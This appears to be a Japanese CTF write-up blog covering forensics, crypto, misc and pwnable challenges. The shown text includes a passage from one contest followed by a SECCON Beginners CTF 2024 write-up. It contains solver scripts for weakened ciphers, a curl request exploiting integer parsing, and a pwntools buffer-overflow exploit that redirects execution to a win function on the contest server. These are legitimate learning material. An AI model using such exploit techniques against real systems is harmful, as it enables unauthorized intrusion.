   0x5555555558d9 <constructFlag+1833>: jmp    0x555555555972 <constructFlag+1986>
   0x5555555558de <constructFlag+1838>: lea    rdi,[rip+0x7db]        # 0x5555555560c0
   0x5555555558e5 <constructFlag+1845>: mov    al,0x0
=> 0x5555555558e7 <constructFlag+1847>: call   0x555555555050 <printf@plt>
   0x5555555558ec <constructFlag+1852>: xor    ecx,ecx
   0x5555555558ee <constructFlag+1854>: mov    DWORD PTR [rbp-0x180],eax
   0x5555555558f4 <constructFlag+1860>: mov    eax,ecx
   0x5555555558f6 <constructFlag+1862>: add    rsp,0x158
Guessed arguments:
arg[0]: 0x5555555560c0 ("Processing completed!")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdbf0 --> 0x200000038 
0008| 0x7fffffffdbf8 --> 0x0 
0016| 0x7fffffffdc00 --> 0x1071e0df0892b214 
0024| 0x7fffffffdc08 --> 0x1f69edd600000000 
0032| 0x7fffffffdc10 --> 0x2ab2678f20643858 
0040| 0x7fffffffdc18 --> 0x2e8006df 
0048| 0x7fffffffdc20 --> 0x1dc4574500000000 
0056| 0x7fffffffdc28 --> 0x2357111b1f234c27 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x00005555555558e7 in constructFlag ()
gdb-peda$ x/64gx $rsp
0x7fffffffdbf0: 0x0000000200000038      0x0000000000000000
0x7fffffffdc00: 0x1071e0df0892b214      0x1f69edd600000000
0x7fffffffdc10: 0x2ab2678f20643858      0x000000002e8006df
0x7fffffffdc20: 0x1dc4574500000000      0x2357111b1f234c27
0x7fffffffdc30: 0x25f63ff2248d202e      0x3669e62e2ec6bfbb
0x7fffffffdc40: 0x538f5686467343cd      0x019341ee5f6ee574
0x7fffffffdc50: 0x0000002c019341ee      0x0000002c0000002c
0x7fffffffdc60: 0x0000004d00000046      0x0000004a00000043
0x7fffffffdc70: 0x0000004d0000007f      0x0000007e00000075
0x7fffffffdc80: 0x0000006d00000067      0x0000006f00000073
0x7fffffffdc90: 0x000000860000006b      0x000000840000007d
0x7fffffffdca0: 0x000000780000006f      0x0000008700000077
0x7fffffffdcb0: 0x0000007d00000073      0x000000890000007b
0x7fffffffdcc0: 0x000000780000007d      0x000000710000004e
0x7fffffffdcd0: 0x0000009700000067      0x0000006b00000072
0x7fffffffdce0: 0x0000008300000089      0x0000009000000073
0x7fffffffdcf0: 0x0000008600000074      0x0000008100000068
0x7fffffffdd00: 0x0000005d00000081      0x0000002b000000a7
0x7fffffffdd10: 0x776f487b47414c46      0x756f795f6469645f
0x7fffffffdd20: 0x7265685f7465675f      0x4c547a4b56345f65
0x7fffffffdd30: 0x5a4261506d516269      0x00000000007d3459
0x7fffffffdd40: 0x0000000000000000      0x00007fffffffde88
0x7fffffffdd50: 0x0000000000000000      0x00007fffffffde98
0x7fffffffdd60: 0x00007ffff7ffd000      0x0000000000000000
0x7fffffffdd70: 0x0000000000000001      0x00007ffff7decc8a
0x7fffffffdd80: 0x00007fffffffde70      0x0000555555555977
0x7fffffffdd90: 0x0000000155554040      0x00007fffffffde88
0x7fffffffdda0: 0x00007fffffffde88      0x3d1608103f5b73c5
0x7fffffffddb0: 0x0000000000000000      0x00007fffffffde98
0x7fffffffddc0: 0x00007ffff7ffd000      0x0000000000000000
0x7fffffffddd0: 0xc2e9f7ef845973c5      0xc2e9e7ada7dd73c5
0x7fffffffdde0: 0x0000000000000000      0x0000000000000000

0x7fffffffdd10からフラグ文字列らしきものがある。

gdb-peda$ x/s 0x7fffffffdd10
0x7fffffffdd10: "FLAG{How_did_you_get_here_4VKzTLibQmPaBZY4}"
FLAG{How_did_you_get_here_4VKzTLibQmPaBZY4}

tiny_usb (Forensics)

7-Zip File Managerでisoファイルを開き、FLAG.PNGを取り出す。FLAG.PNGにフラグが書いてあった。

FLAG{hey_i_just_bought_a_usb}

Surveillance_of_sus (Forensics)

バイナリエディタで見ると、先頭が"RDP8bmp"となっている。以下にあるBMC-Toolsを使ってみる。

https://github.com/ANSSI-FR/bmc-tools
$ python3 bmc-tools.py -s Cache_chal.bin -d .
[+++] Processing a single file: 'Cache_chal.bin'.
[===] 650 tiles successfully extracted in the end.
[===] Successfully exported 650 files.

650個のBMP画像がエクスポートでき、フラグらしきものの断片も含まれている。結合して出力してみる。

$ python3 bmc-tools.py -s Cache_chal.bin -d . -b
[+++] Processing a single file: 'Cache_chal.bin'.
[===] 650 tiles successfully extracted in the end.
[===] Successfully exported 650 files.
[===] Successfully exported collage file.

画像中にフラグが見つかった。

FLAG{RDP_is_useful_yipeee}

codebreaker (Forensics)

QRコードに大きくバツ印が書いてあり、読み取れない。わかる範囲でExcelを使って、書き起こす。

スマホアプリのクルクルというQRコードリーダで読み取ると、フラグが読み取れた。

FLAG{How_scan-dalous}

beginners_aes (Crypto)

暗号化処理の概要は以下の通り。

・key = b'the_enc_key_is_'
・iv = b'my_great_iv_is_'
・keyにランダム1バイトを結合
・ivにランダム1バイトを結合
・flag_hash: FLAGのsha256ダイジェスト(16進数表記)
・msg: FLAGをパディング
・enc: key, ivを使って、msgをAES暗号化したもの
・enc, flag_hashを出力

ivの最後の1バイトは適当にし、keyをブルートフォースし復号する。先頭ブロックの最後をブルートフォースし、ハッシュが合うものを探す。

#!/usr/bin/env python3
from Crypto.Util.Padding import unpad
from Crypto.Cipher import AES
import hashlib

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

enc = eval(params[0].split(' = ')[1])
flag_hash = params[1].split(' = ')[1]

key_base = b'the_enc_key_is_'
iv_base = b'my_great_iv_is_'
iv = iv_base + b'0'

for k in range(32, 127):
    key = key_base + bytes([k])
    cipher = AES.new(key, AES.MODE_CBC, iv)
    try:
        flag = unpad(cipher.decrypt(enc), 16)
    except:
        continue

for code in range(32, 127):
    try_flag = flag[:15] + bytes([code]) + flag[16:]
    if hashlib.sha256(try_flag).hexdigest() == flag_hash:
        flag = try_flag.decode()
        print(flag)
        break
FLAG{7h3_f1r57_5t3p_t0_Crypt0!!}

beginners_rsa (Crypto)

暗号化処理の概要は以下の通り。

・p, q, r, s, a: 64ビット素数
・n = p * q * r * s * a
・e = 0x10001
・m: FLAGを数値化したもの
・enc = pow(m, e, n)
・n, e, encを出力

yafuでnを素因数分解する。

>yafu-x64.exe "factor(317903423385943473062528814030345176720578295695512495346444822768171649361480819163749494400347)" -v -threads 4


06/21/24 21:24:07 v1.34.5 @ RINA-TAKUMI, System/Build Info:
Using GMP-ECM 6.3, Powered by GMP 5.1.1
detected Intel(R) Core(TM) i7-10700 CPU @ 2.90GHz
detected L1 = 32768 bytes, L2 = 16777216 bytes, CL = 64 bytes
measured cpu frequency ~= 2923.479010
using 20 random witnesses for Rabin-Miller PRP checks

===============================================================
======= Welcome to YAFU (Yet Another Factoring Utility) =======
=======             bbuhrow@gmail.com                   =======
=======     Type help at any time, or quit to quit      =======
===============================================================
cached 78498 primes. pmax = 999983


>> fac: factoring 317903423385943473062528814030345176720578295695512495346444822768171649361480819163749494400347
fac: using pretesting plan: normal
fac: no tune info: using qs/gnfs crossover of 95 digits
div: primes less than 10000
fmt: 1000000 iterations
rho: x^2 + 3, starting 1000 iterations on C96
rho: x^2 + 2, starting 1000 iterations on C96
rho: x^2 + 1, starting 1000 iterations on C96
pm1: starting B1 = 150K, B2 = gmp-ecm default on C96
fac: setting target pretesting digits to 29.54
fac: sum of completed work is t0.00
fac: work done at B1=2000: 0 curves, max work = 30 curves
fac: 30 more curves at B1=2000 needed to get to t29.54
ecm: 30/30 curves on C96, B1=2K, B2=gmp-ecm default
fac: setting target pretesting digits to 29.54
fac: t15: 1.00
fac: t20: 0.04
fac: sum of completed work is t15.18
fac: work done at B1=11000: 0 curves, max work = 74 curves
fac: 74 more curves at B1=11000 needed to get to t29.54
ecm: 10/74 curves on C96, B1=11K, B2=gmp-ecm default
ecm: found prp20 factor = 12109985960354612149

fac: setting target pretesting digits to 23.69
fac: t15: 1.92
fac: t20: 0.18
fac: sum of completed work is t15.92
fac: work done at B1=11000: 11 curves, max work = 74 curves
fac: 63 more curves at B1=11000 needed to get to t23.69
ecm: 4/63 curves on C77, B1=11K, B2=gmp-ecm default
ecm: found prp20 factor = 11771834931016130837

fac: setting target pretesting digits to 17.85
fac: t15: 2.33
fac: t20: 0.25
fac: t25: 0.01
fac: sum of completed work is t16.26
fac: work done at B1=11000: 16 curves, max work = 74 curves
fac: 41 more curves at B1=11000 needed to get to t17.85
ecm: 0/41 curves on C58, B1=11K, B2=gmp-ecm default
ecm: found prp20 factor = 13079524394617385153

fac: setting target pretesting digits to 12.00
fac: t15: 2.42
fac: t20: 0.27
fac: t25: 0.01
fac: sum of completed work is t16.33

starting SIQS on c39: 170496492585767850892341198950965928723

==== sieve params ====
n = 40 digits, 131 bits
factor base: 560 primes (max prime = 9467)
single large prime cutoff: 473350 (50 * pmax)
using SSE4.1 enabled 32k sieve core
sieve interval: 1 blocks of size 32768
polynomial A has ~ 4 factors
using multiplier of 11
using SPV correction of 20 bits, starting at offset 32
using SSE2 for x32 sieve scanning
using SSE2 for resieving 13-16 bit primes
using SSE2 for 8x trial divison to 13 bits
using SSE4.1 and inline ASM for small prime sieving
using SSE2 for poly updating up to 15 bits
using SSE4.1 for medium prime poly updating
using SSE4.1 and inline ASM for large prime poly updating
trial factoring cutoff at 35 bits

==== sieving in progress ( 4 threads):     624 relations needed ====
====            Press ctrl-c to abort and save state            ====
756 rels found: 387 full + 369 from 2784 partial, (353.89 rels/sec)

sieving required 189 total polynomials
trial division touched 23897 sieve locations out of 12386304
QS elapsed time = 10.8159 seconds.

==== post processing stage (msieve-1.38) ====
begin with 3171 relations
reduce to 1072 relations in 2 passes
attempting to read 1072 relations
recovered 1072 relations
recovered 189 polynomials
freed 7 duplicate relations
attempting to build 749 cycles
found 749 cycles in 1 passes
distribution of cycle lengths:
   length 1 : 387
   length 2 : 362
largest cycle: 2 relations
matrix is 560 x 749 (0.1 MB) with weight 13021 (17.38/col)
sparse part has weight 13021 (17.38/col)
filtering completed in 4 passes
matrix is 532 x 596 (0.1 MB) with weight 9564 (16.05/col)
sparse part has weight 9564 (16.05/col)
commencing Lanczos iteration
memory use: 0.1 MB
lanczos halted after 10 iterations (dim = 529)
recovered 63 nontrivial dependencies
Lanczos elapsed time = 1.1600 seconds.
Sqrt elapsed time = 0.0000 seconds.
SIQS elapsed time = 11.9765 seconds.
pretesting / qs ratio was 0.83
Total factoring time = 32.6554 seconds


***factors found***

P20 = 12109985960354612149
P20 = 11771834931016130837
P20 = 13079524394617385153
P19 = 9953162929836910171
P20 = 17129880600534041513

ans = 1

あとは通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

n = int(params[0].split(' = ')[1])
e = int(params[1].split(' = ')[1])
enc = int(params[2].split(' = ')[1])

p = 12109985960354612149
q = 11771834931016130837
r = 13079524394617385153
s = 9953162929836910171
a = 17129880600534041513

phi = (p - 1) * (q - 1) * (r - 1) * (s - 1) * (a - 1)
d = inverse(e, phi)
m = pow(enc, d, n)
flag = long_to_bytes(m).decode()
print(flag)
FLAG{S0_3a5y_1254!!}

replacement (Crypto)

1文字ずつブルートフォースして、ASCIIコードのmd5を比較して、メッセージを取得する。

#!/usr/bin/env python3
import hashlib

with open('my_diary_11_8_Wednesday.txt', 'r') as f:
    enc = eval(f.read())

msg = ''
for c in enc:
    for x in range(32, 127):
        if int(hashlib.md5(str(x).encode()).hexdigest(), 16) == c:
            msg += chr(x)
            break
print(msg)

結果は以下の通り。

Wednesday, 11/8, clear skies. This morning, I had breakfast at my favorite cafe. Drinking the freshly brewed coffee and savoring the warm buttery toast is the best. Changing the subject, I received an email today with something rather peculiar in it. It contained a mysterious message that said "This is a secret code, so please don't tell anyone. FLAG{13epl4cem3nt}". How strange!Gureisya

文中にフラグが書いてあった。

FLAG{13epl4cem3nt}

Easy calc (Crypto)

暗号化処理の概要は以下の通り。

・p: 1024ビット素数
・s: 1以上p-1以下のランダム整数
・A = f(s, p)
 ・u = 0
 ・以下p回繰り返し(i)
  ・u += p - i
  ・u *= s
  ・u %= p
 ・uを返却
・ciphertext = encrypt(FLAG, s).hex()
 ・iv: ランダム16バイト文字列
 ・key: sをバイト文字列化したもの
 ・key: keyのmd5ダイジェスト
 ・iv + [key, ivを使ってFLAGをAES暗号化したもの]を返却
・p, A, ciphertextを出力

f関数の計算部分を見てみる。

i = 0: u = p * s % p = 0
i = 1: u = (p - 1) * s % p
i = 2: u = ((p - 1) * s + (p - 2)) * s % p = ((p - 1) * s**2 + (p - 2) * s) % p
      :
i = p - 1: u = ((p - 1) * s**(p-1) + (p - 2) * s**(p-2) + ... + 2 * s**2 + s) % p

この結果がAとなる。
両辺に(s - 1)をかけてみる。

A * (s - 1) % p = ((p - 1) * s**p - s**(p-1) - s**(p-2) - ... - s**2 - s) % p
                = ((p - 1) * s**p - (s**(p-1) + s**(p-2) + ... + s**2 + s)) % p

さらに両辺に(s - 1)をかけてみる。

A * (s - 1)**2 % p = ((p - 1) * s**p * (s - 1) - (s**p - s)) % p
                   = ((1 - s) * s**p - s**p + s) % p
                   = (s - s**(p+1)) % p
                   = (s - s**2) % p
                   = - s * (s - 1) % p

つまり以下が成り立つ。

A * (s - 1) % p == - s % p

sの方程式にすると、以下のように式を変形できる。

(A + 1) * s = A % p
s = A * inverse(A + 1, p) % p

あとはこれを使って、AES暗号の鍵を取得し、復号する。

#!/usr/bin/env python3
from hashlib import md5
from Crypto.Cipher import AES
from Crypto.Util.number import *

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

p = int(params[0].split(' = ')[1])
A = int(params[1].split(' = ')[1])
ciphertext = bytes.fromhex(eval(params[2].split(' = ')[1]))

s = A * inverse(A + 1, p) % p

key = long_to_bytes(s)
key = md5(key).digest()
iv = ciphertext[:16]
ct = ciphertext[16:]
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
flag = cipher.decrypt(ct).decode()
print(flag)
FLAG{Do_the_math396691ba7d7270a}

dance (Crypto)

暗号化処理の概要は以下の通り。

・isLogged = False
・current_user = ''
・d = {}
・以下繰り返し
 ・chice: 入力
 ・choiceが'1'の場合
  ・Register()
   ・username: 入力
   ・dにusernameがある場合はchoiceの入力からやり直し
   ・dt_now: 現在時刻のオブジェクト
   ・minutes: dt_nowの分の値
   ・sec: dt_nowの秒の値
   ・data1 = f'user: {username}, {minutes}:{sec}'
   ・data2 = f'{username}'+str([0以上10以下のランダム整数])
   ・d[username] = make_token(data1, data2)
    ・right: data1のsha256ダイジェストの16進数表記の先頭20バイト
    ・left: data1 + data2のsha256ダイジェストの16進数表記の先頭12バイト
    ・token = left + right
    ・tokenを返却
   ・tokenを表示
 ・choiceが'2'の場合
  ・Login()
   ・username: 入力
   ・dにusernameがない場合はchoiceの入力からやり直し
   ・token: 入力
   ・d[username]とtokenが一致していない場合、choiceの入力からやり直し
   ・isLogged = True
   ・current_user = username
   ・usernameを表示
 ・choiceが'3'の場合
  ・Logout()
   ・isLogged = False
   ・current_user = ''
 ・choiceが'4'の場合
  ・Encrypt()
   ・isLoggedがFalseの場合はchoiceの入力からやり直し
   ・token = d[current_user]
   ・key: tokenのsha256ダイジェストの16進数表記の先頭32バイト
   ・nonce: tokenの先頭12バイト
   ・cipher = MyCipher(key.encode(), nonce.encode())
    ・cipher.key = key.encode()
    ・cipher.nonce = nonce.encode()
    ・cipher.counter = 1
    ・cipher.state = List[F2_32]
   ・plaintext: 入力
   ・ciphertext = cipher.encrypt(plaintext.encode())
    ・encrypted_message = b''
    ・plaintextの長さを64で割った数だけ以下の処理を実行(i)
     ・key_stream = cipher.__get_key_stream(cipher.key, cipher.counter + i, cipher.nonce)
      ・constants: b'expand 32-byte k'をリトルエンディアンで整数4つにし、F2_32の配列にしたもの
      ・key: keyをリトルエンディアンで整数8つにし、F2_32の配列にしたもの
      ・counter: cipher.counter + iをF2_32の配列(要素1個)にしたもの
      ・nonce: nonceをリトルエンディアンで整数3つにし、F2_32の配列にしたもの
      ・cipher.state = constants + key + counter + nonce
      ・initial_state = cipher.state[:]
      ・cipher.__update_state()
      ・cipher.state = [x + y for x, y in zip(cipher.state, initial_state)]
      ・cipher.stateの各要素を32ビット整数として、文字列に変換し、連結したものを返却
     ・encrypted_messageにplaintext[i*64:(i+1)*64]とkey_streamのXORを結合
    ・plaintextの長さを64で割った余りが0でない場合
     ・key_stream = cipher.__get_key_stream(cipher.key, cipher.counter + len(plaintext)//64, cipher.nonce)
     ・encrypted_messageにplaintext[(len(plaintext)//64)*64:]とkey_stream[:len(plaintext) % 64]のXORを結合
   ・current_userを表示
   ・ciphertextを16進数表記で表示
 ・choiceが'5'の場合
  ・繰り返し終了

usernameとciphertextだけがわかっている。tokenの生成方法から、60*60*11種類のtokenがあることがわかる。tokenが決まれば、key, nonceは決まる。平文ブロックごとに、key_streamも決まるので、ciphertextとのXORで復号できる。
tokenでブルートフォースして、復号した結果、フラグの先頭が"FLAG{"になるものを探す。
なお、インポートするmycipher.pyの以下の関数名の先頭から"__"を削除し、外部からアクセス可能にしておく。

・__get_key_stream -> get_key_stream
・__xor -> xor
#!/usr/bin/env python3
from mycipher import MyCipher
import hashlib

def make_token(data1: str, data2: str):
    sha256 = hashlib.sha256()
    sha256.update(data1.encode())
    right = sha256.hexdigest()[:20]
    sha256.update(data2.encode())
    left = sha256.hexdigest()[:12]
    token = left + right
    return token

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

username = eval(params[0].split(' = ')[1])
ciphertext = bytes.fromhex(eval(params[1].split(' = ')[1]))
len_ct = len(ciphertext)
assert len_ct < 64

found = False
for minutes in range(60):
    for sec in range(60):
        for num in range(11):
            data1 = f'user: {username}, {minutes}:{sec}'
            data2 = f'{username}'+str(num)
            token = make_token(data1, data2)

            sha256 = hashlib.sha256()
            sha256.update(token.encode())
            key = sha256.hexdigest()[:32].encode()
            nonce = token[:12].encode()
            cipher = MyCipher(key, nonce)

            key_stream = cipher.get_key_stream(key, 1, nonce)
            flag = cipher.xor(ciphertext, key_stream[:len_ct])
            if flag.startswith(b'FLAG{'):
                found = True
                flag = flag.decode()
                print(flag)
                break
        if found:
             break
    if found:
        break
FLAG{d4nc3_l0b0t_d4nc3!!}

speedy (Crypto)

暗号化処理の概要は以下の通り。

・s0: ランダム8バイト文字列の数値化したもの
・s1: ランダム8バイト文字列の数値化したもの
・cipher = MyCipher(s0, s1)
 ・cipher.X = s0
 ・cipher.Y = s1
 ・cipher.mod = 0xFFFFFFFFFFFFFFFF
 ・cipher.BLOCK_SIZE = 8
・secret: "FLAG{*******************}'(25バイト)
・pt: secretを8バイトパディング
・ct = cipher.encrypt(pt)
 ・ct = b''
 ・ptの8バイトの各ブロック(block)ごとに以下の処理を実行
  ・ctにcipher.Xのバイト文字列化したものを結合
  ・key = cipher.get_key_stream()
  ・ctにblockとkeyのXORを結合
・ctを出力

フラグの長さは25バイトなので、4ブロック目の平文と暗号文がわかっている。このため、XOR鍵も算出でき、X, Yがわかる。あとは後ろのブロックからX, Yを逆算していき、XOR鍵を求め、復号していく。

#!/usr/bin/env python3
from Crypto.Util.number import *
from Crypto.Util.Padding import *
from Crypto.Util.strxor import strxor

def rotr(x, y):
    x &= 0xFFFFFFFFFFFFFFFF
    return ((x >> y) | (x << (64 - y))) & 0xFFFFFFFFFFFFFFFF

mod = 0xFFFFFFFFFFFFFFFF

with open('out.txt', 'r') as f:
    ct = eval(f.read().split(' = ')[1])

assert len(ct) == 64

Xs = [bytes_to_long(ct[i:i+8]) for i in range(0, len(ct), 16)]
cts = [ct[i+8:i+16] for i in range(0, len(ct), 16)]

pt3 = pad(b'}', 8)
ct3 = cts[3]
key3 = strxor(pt3, ct3)
sum = bytes_to_long(key3[::-1])
X = Xs[3]
Y = (sum - X) % (mod + 1)

flag = '}'
for i in range(3):
    s1 = rotr(Y, 37)
    s0 = rotr(X ^ s1 ^ (s1 << 16), 24)
    assert s0 == Xs[2 - i]
    s1 ^= s0
    sum = (s0 + s1) & mod
    key = []
    for _ in range(8):
        key.append(sum & 0xFF)
        sum >>= 8
    pt = bytes([cts[2 - i][j] ^ key[j] for j in range(8)])
    flag = pt.decode() + flag

    X = s0
    Y = s1

print(flag)
FLAG{x013_ro74te_5hif7!!}

SECCON Beginners CTF 2024 Writeup

この大会は2024/6/15 14:00(JST)~2024/6/16 14:00(JST)に開催されました。
今回は個人で参戦。結果は361点で962チーム中251位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (welcome)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

ctf4b{Welcome_to_SECCON_Beginners_CTF_2024}

getRank (misc)

main.rsを見るとこう書いてある。

const RANKING = [10 ** 255, 1000, 100, 10, 1, 0];

type Res = {
  rank: number;
  message: string;
};

function ranking(score: number): Res {
  const getRank = (score: number) => {
    const rank = RANKING.findIndex((r) => score > r);
    return rank === -1 ? RANKING.length + 1 : rank + 1;
  };

  const rank = getRank(score);
  if (rank === 1) {
    return {
      rank,
      message: process.env.FLAG || "fake{fake_flag}",
    };
  } else {
    return {
      rank,
      message: `You got rank ${rank}!`,
    };
  }
}

function chall(input: string): Res {
  if (input.length > 300) {
    return {
      rank: -1,
      message: "Input too long",
    };
  }

  let score = parseInt(input);
  if (isNaN(score)) {
    return {
      rank: -1,
      message: "Invalid score",
    };
  }
  if (score > 10 ** 255) {
    // hmm...your score is too big?
    // you need a handicap!
    for (let i = 0; i < 100; i++) {
      score = Math.floor(score / 10);
    }
  }

  return ranking(score);
}

index.htmlを見るとこう書いてある。

      function getRank() {
        const rankElement = document.getElementById("rank");
        const messageElement = document.getElementById("message");

        fetch("/", {
          method: "POST",
          headers: {
            "Content-Type": "application/json",
          },
          body: JSON.stringify({ input: `${score}` }),
        })
          .then((response) => response.json())
          .then((data) => {
            rankElement.textContent = data.rank ?? "-1";
            messageElement.textContent =
              data.message ?? "Error occurred.";
          })
          .catch((error) => {
            rankElement.textContent = "-1";
            messageElement.textContent = "Error occurred.";
            console.error(error);
          });
      }

直接scoreを指定して、メッセージを取得する。なお、scoreは10**255より大きい場合は、1/10を100回行い、長さで300を超えない範囲では10進数で指定できないので、16進数で指定する。

$ curl https://getrank.beginners.seccon.games/ -H "Content-Type: application/json" -d '{"input": "0x9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999"}'  
{"rank":1,"message":"ctf4b{15_my_5c0r3_700000_b1g?}"}
ctf4b{15_my_5c0r3_700000_b1g?}

clamre (misc)

flag.ldbを見ると、以下のような正規表現が書いてある。

/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/

順に文字を確認していく。

(\x63\x74\x66)
>>> "\x63\x74\x66"
'ctf'

(\x62)
>>> "\x62"
'b'

(\x72)
>>> "\x72"
'r'

(\x33)
>>> "\x33"
'3'

\3
インデックス3の値のため、'4'になる。

(\x6b1)
>>> "\x6b1"
'k1'

(\x6e\x67)
>>> "\x6e\x67"
'ng'

(\x5f)
>>> "\x5f"
'_'

\3
インデックス3の値のため、'4'になる。

(\x6c)
>>> "\x6c"
'l'

\11
インデックス11の値のため、'\x6c'(='l')になる。

\10
インデックス10の値のため、'\x5f'(='_')になる。

(\x54\x68)
>>> "\x54\x68"
'Th'

\7
インデックス7の値のため、'\x33'(='3')になる。

\10
インデックス10の値のため、'\x5f'(='_')になる。

(\x480)
>>> "\x480"
'H0'

(\x75)
>>> "\x75"
'u'

\7
インデックス7の値のため、'\x33'(='3')になる。

\10
インデックス10の値のため、'\x5f'(='_')になる。

(\x52)
>>> "\x52"
'R'

\14
インデックス14の値のため、'\x75'(='u')になる。

\11
インデックス11の値のため、'\x6c'(='l')になる。

\7
インデックス7の値のため、'\x33'(='3')になる。
ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35}

simpleoverflow (pwnable)

10バイトを超え、任意の文字を入力すると、BOFでis_adminが上書きされ、フラグが読める。

$ nc simpleoverflow.beginners.seccon.games 9000
name:aaaaaaaaaaa
Hello, aaaaaaaaaaa

ctf4b{0n_y0ur_m4rk}
ctf4b{0n_y0ur_m4rk}

simpleoverwrite (pwnable)

$ ./chall
input:aaaaaaaaaaaaaaaaaaABCD
Hello, aaaaaaaaaaaaaaaaaaABCD

return to: 0x7f0a44434241
zsh: segmentation fault  ./chall

BOFでwin関数をコールすればよい。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('simpleoverwrite.beginners.seccon.games', 9001)
else:
    p = process('./chall')

elf = ELF('./chall')

win_addr = elf.symbols['win']

payload = b'A' * 18
payload += p64(win_addr)

data = p.recvuntil(b':').decode()
print(data, end='')
print(payload)
p.sendline(payload)
for _ in range(3):
    data = p.recvline().rstrip()
    print(data)

実行結果は以下の通り。

[+] Opening connection to simpleoverwrite.beginners.seccon.games on port 9001: Done
[*] '/mnt/hgfs/Shared/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
input:b'AAAAAAAAAAAAAAAAAA\x86\x11@\x00\x00\x00\x00\x00'
b'Hello, AAAAAAAAAAAAAAAAAA\x86\x11@'
b'return to: 0x401186'
b'ctf4b{B3l13v3_4g41n}'
[*] Closed connection to simpleoverwrite.beginners.seccon.games port 9001
ctf4b{B3l13v3_4g41n}

Safe Prime (crypto)

RSA暗号で、pとqは以下の関係があることがわかる。

q = 2 * p + 1

n = p * q であることから、以下のようにpの2次方程式にすることができる。

p * (2 * p + 1) = n

これを解けば、pがわかり、nを素因数分解することができる。あとは通常通り、RSA暗号の復号を行えば、フラグが得られる。

#!/usr/bin/env python3
from Crypto.Util.number import *
import sympy

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

e = 65537
n = int(params[0].split(' ')[-1])
c = int(params[1].split(' ')[-1])

p = sympy.Symbol('p')
eq = p * (2 * p + 1) - n
sol = sympy.solve(eq)
for p in sol:
    if p > 0:
        break

p = int(p)
q = n // p
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}